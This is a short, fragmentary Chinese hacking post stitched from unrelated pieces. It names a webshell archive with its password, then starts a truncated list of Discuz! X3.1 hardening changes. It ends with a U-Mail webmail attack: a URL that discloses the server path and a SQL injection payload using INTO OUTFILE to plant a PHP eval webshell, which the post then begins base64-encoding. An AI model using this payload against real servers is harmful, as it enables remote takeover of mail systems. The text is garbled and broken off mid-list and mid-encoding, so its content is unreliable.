WEBSHELL箱子系统.zip 解压密码 lanxiang
之前写的几个后台拿shell，Discuz!忽略了，但新版本Discuz! X3.1 Release 20140301实际上有所加强，但是真的修复了之前提到的问题吗？
Discuz!大概做了下面几个改动：
1.统计代码处，对
2.首页文件名限制了".",有点时，返回【setting_functions_makehtml_indexname_invalid】，防止解析漏洞拿shell，。
3.专题HTML文件的存放目录做了...
加入
webmail/userapply.php?execadd=333&DomainID=111
直接爆出物理地址
然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,11,12,13,14 into outfile 'D:/umail/WorldClient/html/saknc.php'#
用base64编译一下
YW...
